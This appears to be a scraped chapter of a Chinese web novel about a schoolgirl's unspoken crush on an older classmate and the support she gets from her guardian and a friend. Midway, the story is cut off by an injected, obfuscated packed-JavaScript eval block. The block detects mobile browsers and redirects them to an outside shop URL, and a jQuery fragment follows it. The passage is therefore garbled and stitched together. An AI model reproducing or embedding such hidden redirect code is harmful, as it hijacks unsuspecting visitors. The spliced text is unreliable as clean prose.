提起这段神之采访，祈季和“鸭舌帽”总算是有话聊了，几乎能一比一复刻每句话，甚至能模仿出周游时当时的表情。
你一句我一句地相谈甚欢。
傅说会议开到一半，抬眼看到的就是一男孩一女孩在烈日下笑。
还有一只狗摇尾巴围着他们转。
阳光直射下来有些刺眼。
他就站在烈日底下，出神地看了很久。
直到视频那头反复喊他名字，才猛然从恍惚中抽身。
不知过了多久，祈季才回到他的副驾驶。
系安全带时竟然听见傅说主动说话：“你同学？”
她不敢相信自己的耳朵，侧着脑袋连问了两个“嗯？”，傅说却自顾踩下油门，没再搭理。
算起来，这也不是他第一次主动开口。
上一次还是问她要不要养旺得否。
“不是。”每天抬头不见低头见的，和他聊聊无关紧要的天似乎也没所谓，“是画室的老师。”
“画室？”
傅说歪了歪头，一脸雾水。
不知道该怎么和他解释，祈季只能说：“我有个朋友是他的学生。”
和周游时应该能算朋友吧。
她暗自思忖了半天。
傅说还是那副木头一样的表情，讷讷点头。
“哦对了，”祈季又接着说，“再过一年我也会去学美术。”
她一不说话，车里便静得让人发慌。
仿佛过了一个世纪，傅说才在某个十字路口的红灯前停下车，像是怕伤到她自尊心般弱弱开口：“你成绩…很差吗？”
你才成绩差…
祈季在心里翻个白眼，似乎领悟到他惜字如金的原因，不爱说话是他的保护色，不然早被人揍了。
“到底是谁说学美术的成绩都差？”
她也没想到第一次问这个问题竟然是对着傅说。
绿灯亮起，傅说再次踩下油门。
他开车很稳，像他本人一样没什么起伏，祈季不止一次在心里偷偷庆幸没有错过让他当司机的机会。
就在她以为不会听到回答时，傅说那没有温度的语调缓缓从嘴里流出：“好像是这个社会默认的。”
说的话倒是让人无法反驳。
即便祈季再伶牙俐齿。
“别和我妈说，我还没告诉她。”
“她到现在对我的要求都是考央大。”
其实考央大不仅仅是温雅从小给她设立的目标。
她自己也已经为之努力奋斗许久。
只是走在这条道路上，突然有天，迷失了方向。
“我给你找个家教。”
“……？”
这人说话总是掐头去尾的，不知又在哪壶不开提哪壶。
傅说也不过大祈季十岁的年纪，却时常搞不懂她这个年纪的小孩都在想什么。
他的人生是完全按部就班的，到了什么年纪就做什么事，正好智商算高，也恰巧能做到最好。
于是就一直躲在自己的舒适圈，继续循规蹈矩地生活。
这也是两个人时常聊不到一起去的原因。
“我成绩好得很。”
“不过也是。”祈季眨眨眼皮，终究还是妥协，“像你这样古板的人，大概从来没有过喜欢做的事。”
她一语中的，傅说愣住，指腹轻轻碰了碰腕间的表。从小到大，还真没有什么人和事让他特别喜欢的。
他也不遮遮掩掩，大方承认：“是。”
旺得否睡醒就开始哼哼唧唧，祈季连忙逗它玩。
有这小家伙在，再尴尬的气氛也能变温和。
“所以你真的喜欢画画？”
傅说真的有在试图理解她。
有那么一瞬，祈季脑子断了根弦。
前十几年，都在被推着长大，这是第一次有人问她喜不喜欢。
话题似乎被引向更深的地方，祈季没回答。
她害怕和人深入谈心，把心剖开给别人看是件很需要勇气的事情，她招架不住。
那天的对话停留在下车前，一路沉思的傅说突然叫她等一会儿。
祈季开车门的手顿住，然后听见傅说有史以来说过最长的一段话。
“其实我很小很小的时候也有喜欢的事…”
“大概是喜欢踢足球吧。”
“可身边人总能找到各种理由教育我不应该踢足球，我只能做他们认为正确的事。久而久之，足球就淡出了我的生活，再长大一点更是把这些都忘却。”
“你看，直到现在，我连那时候究竟是喜欢踢足球还是打篮球都记不清。”
“所以，你继续喜欢画画，剩下的我来搞定。”
说完这一大段话，傅说几乎整个人伏在方向盘上大口呼吸，许久才平缓下来。
抬头后眸光落入祈季的目之所及处。
她愣在原地。
眼底分明有银河闪烁。
那是朋友之外，她得到的第一份支持。
弥足珍贵。
*
路边阿婆在躺椅上摇蒲扇。
有时安姨从菜市场买完菜，会慢下脚步来，和她们聊上几句。无非是关于菜价、天气还有谁家孩子考上了哪所高中。
旺得否趴在树根底下，吐着舌头散热。
它身形大了不少，越长越有这个品种特有的味道。也是成了这条街的团宠，树荫底下总有一盆凉水留给它喝。
倦怠夏日一晃眼就要过去。
还是同样的位置，身边人却都换了个彻底。
祈季给窗户留了条缝。
她习惯性将左手放在课桌角落，抚摸时却找不见那刻痕，指尖慌乱地滑动。
吕花洒在讲台上依旧讲唾沫星子到处乱飞：“高二了！都清醒点！”
这学期整个年级的教室都往上挪了一层。
祈季的选课凑巧把她继续留在二班。
梧桐叶片翻动，簌簌有声，缝隙间有跳动的光点落在平整的课桌一角。
那是周游时用过的。
祈季顺其自然坐在他的位置，用他的课桌，听他听过的课，窗外层层叠叠的梧桐叶，亦是他看过的风景。
她无聊时画下那些叶子的瞬间，又会心头一颤，或许他也曾画下这样一幅画。
有时在走廊上恍惚，觉得拐角处会走出手插兜的少年，迈着懒洋洋的步子，不经意间叫她名字。
然后她回过神，拐角是空的，风吹来似有若无闻到的薄荷味道。
愣一会儿使劲去闻，又荡然无存。
关于周游时的消息传闻很多。
但也只是听说。
那晚以后一切按着该有的样子发生，每个人都行走在自己的轨道上。
他们之间就如最开始所料到的，再没有相交的瞬间。
出录取结果那天，祈季偶尔翻到学长学姐的喜报，由衷为他们感到高兴。
虽然朋友圈没有多少毕业的人，算不上多热闹。
等一整天都没有等来最想看见的消息。
想来也是的，他很少很少发朋友圈，上一条还停留在歌手大赛那天。
久违地点开和周游时的对话框，给彼此发的消息始终寥寥无几。
她又盯着最上方的“周五”发呆。
这两个字就像魔咒，他缺席的周五就只是周五而已，同样会倒霉的。
雨天摔倒时，她也会怨，或许周游时在的话会不一样，可怨来怨去，不过是恨那些总错开的年岁罢了。
有时候她会想，要是没有年龄差，能和他一起毕业，他们的生命线也不会有先后顺序。
她是不是会有把喜欢大方说出口的勇敢。
微博账号最后一条更新于二〇一七年八月七日，那天是祈季的生日。
她写下：「如果这个夏天能更漫长一点。」
可惜人对做出的任何假设，都没有参考答案。
对话框里关于他考到哪里的问句删了又改，改了又删，她不确定他们是否是可以问这个问题的关系。
在面对有关他的一切时，很多时候都做不到主动出击，错过最冲动的那一瞬间，她又会往后缩。
碰巧那时来了温雅的电话。
电话结束她又点进朋友圈。
最上方是贺修竹发的青浔美院录取通知书。
有两张。
下面那张名字被上面的盖住，照片里只能看到贺修竹的名字。但八九不离十，另一张就是周游时的。
于是连唯一能找到的聊天话题都没有了问出口的必要。
…
吕潇洒那无关紧要的一大段演讲终于结束，课堂总算进入正题。
祈季拿笔思考，被迫从遥远思绪中回神。
切切的蝉鸣伴她度过整个夏。
那条窗缝透入的风变得稀薄，极偶尔的时刻有凉风挤入，带着桂花的香甜和落叶的苦涩。
祈季缩了缩脖子，看见窗外天空灰蒙蒙，把校服拉链往上提。
手下草稿纸某个小缝隙里藏着“周游时”，紧跟着两条划掉它的黑线。
那是吕潇洒上课时布置的思考题，身边人还在埋头苦算，她三下五除二就把它解了出来。
然后托腮发呆，又不小心写下他名字。
窗玻璃上凝起薄薄的水汽，她不自觉用指尖划一道，外面的世界渐暗，弥漫冷雾气息，光晕模糊。
孟意趁晚自习下课偷偷从遥远的九班教室溜来。
张欣悦也跟在她身后一起，两个人把祈季围在中间。
高二课业繁重，大家都忙于埋头在自己的课本和卷子中，极少有机会凑在一起像高一那样说些空闲小话。
许久没有体会这样的场景，总是不安的心脏好像回归到了原点。
张欣悦和以前没什么两样，说笑间突然伸出一根食指，把头凑到祈季和孟意脑袋边，不知道又带来了什么新的消息。
“还是周游时。”
彼时已经是又一年的冬。
草稿纸缝隙早已被祈季空出来。
这个名字似乎已经淡出青浔一中很久，像飞远的纸飞机，就连骤然间听见仿佛也是上辈子的事情。
那个冬天，知乎上有一条很火的讨论。
哪个瞬间，听到那个名字心脏还是会为之震颤。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17600371|205285||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
张欣悦脱口而出那个名字。
祈季偷偷在心里回答：现在。
她说周游时最终还是去了青浔美术学院。
还说他原本想去央京美术学院，可惜央京美院的合格证拿得太靠后，对手皆高手云集，最终综合分差了一分。
“啊…好可惜…”孟意一下感同身受到，“就差一分啊！对吧，小盒子。”
忽地被问到，祈季毫无防备，胡乱点点头。
原来青浔美院只是阴差阳错，最想去的是央京。
对他了解真是少之又少，这些她从来都不知道。
孟意把头凑到最里面，招呼她们两个也把脑袋伸过去，神神秘秘问张欣悦：“那他现在谈恋爱了吗？”
祈季刚抽出一张物理卷子，想着能装模作样掩饰自己为那个名字而狂跳的心脏。
倏而，手顿在半空，耳朵恨不得紧紧贴过去。
当看见张欣悦真的要张嘴说话时，又有了将耳朵捂起来的冲动，不敢听。
胸腔发出如擂鼓般的声响，越来越重，最后整个人都与之共振，耳朵也在嗡嗡响。
“没听说啊。”
“他那种人，眼光高得要命，谁能入他的眼？”
张欣悦心大，没觉得什么不对。
可祈季抬眼，还没来得及调整错乱的呼吸，恰逢孟意耐人寻味的视线。
将近五年，她认识孟意太久了。
就那一秒，便知道自己所有伪装不攻自破。
张欣悦先回自己教室去背政治了，还没等孟意张口，她先问：“你是什么时候知道的？”
“好久好久之前。”
孟意认真注视着她的眼睛。
被看穿的第一反应是逃避，她想嘴硬说已经没那么喜欢他了。
可第一个字都还没落地，她的欲盖弥彰全部化为乌有。
一个柔软的拥抱占据她全部感官。
“喜欢他，很辛苦吧。”
鼻尖一酸，差点眼泪就溃不成军。
暗恋真的好苦，一个人的世界悄无声息，却经历着永不停歇的阴雨天。
熬过冗长烈日，总还幻想他会再度出现，可到后来才发现等待她的还有凉薄秋日和沉寂长冬。
仔细想来，那人却连一句正式的再见都没说。
原本还没什么感觉，苦涩也都一个人默默咽下。
可此时此刻，有一个人正抱着她。
好久没有体会到这样真诚的拥抱，祈季一时竟不知道该如何反应，拼命忍泪，双手僵了好久好久。
听到孟意的哭腔传来，才抚上她后背轻拍两下。
“你怎么哭了？”
她伸出食指轻轻抹掉孟意的泪。
女孩的声音颤抖着：“我心疼你…”
“我没事。”祈季憋回眼眶里打转的水珠，“只是喜欢了一个太耀眼的人。”
靠近会烫，离远了又暗。
两个女孩翘掉那节晚自习，裹着校服外套坐在操场边，肩靠肩互相取暖。
她们谈天说地，什么都聊。
聊自己，聊梦想，聊未来，聊过去。
谈论到周游时，不争气地，那些悸动美好的瞬间还会在祈季心间荡漾。
孟意没怎么接触过他，一字一句听闻她和周游时的故事，也惊讶于他竟然是一个这么好的人。
她靠在祈季肩头说：“透过你的眼睛看，好像没有人会不喜欢他。”
这句话如醍醐灌顶般，重重砸在她心口，不由得震颤了下。
她打趣孟意：“你嘴里的常礼也是啊。”
孟意红着脸用拳头砸她肩。
那天的最后，孟意抽着鼻子问她：“那你还要继续喜欢他吗？”
寒冬的风呼啸而过，刮得人耳朵生疼。
彼时祈季已经整理好思绪，又将校服外套裹紧了些，搓搓手，歪着脑袋对她轻松一笑。
“想起他让我开心的时候我就喜欢，要是哪天想起他，只剩下难过，那我就不要再喜欢他了。”
孟意也笑笑，朝她竖起大拇指：“女侠！”
……
后来的日子过得更是快，每门课都像按下了加倍速，知识被拼命浓缩在每一堂课。
吕潇洒则不断和学生强调高二的重要性，几乎是早中晚各要来一遍，念经一样，害人脑袋发晕。
祈季设立目标，在这一年将高三的课程也学完，她把所有时间投入在学习中，每天都按部就班地过。
偶尔给自己几秒休息时间，望着窗外发发呆。
很多很多考试接踵而至，她也认真对待每一场。
身边所有人都在过着自己的生活。
“周游时”三个字，几乎再没在她生活里出现过。
想起他的时间更是少之又少。
那些有关于他的痕迹，皆已淡去。
只有遇到难以解决的困难时，脖子上挂的那粒纽扣会被攥在手心。
她以为一别三个季节，青春里那场逃不掉的雨季早已干透，也以为曾经一度溃烂的坚强早已被拼凑得完好无损。
直到料峭春寒的某天，贺修竹发来一张照片。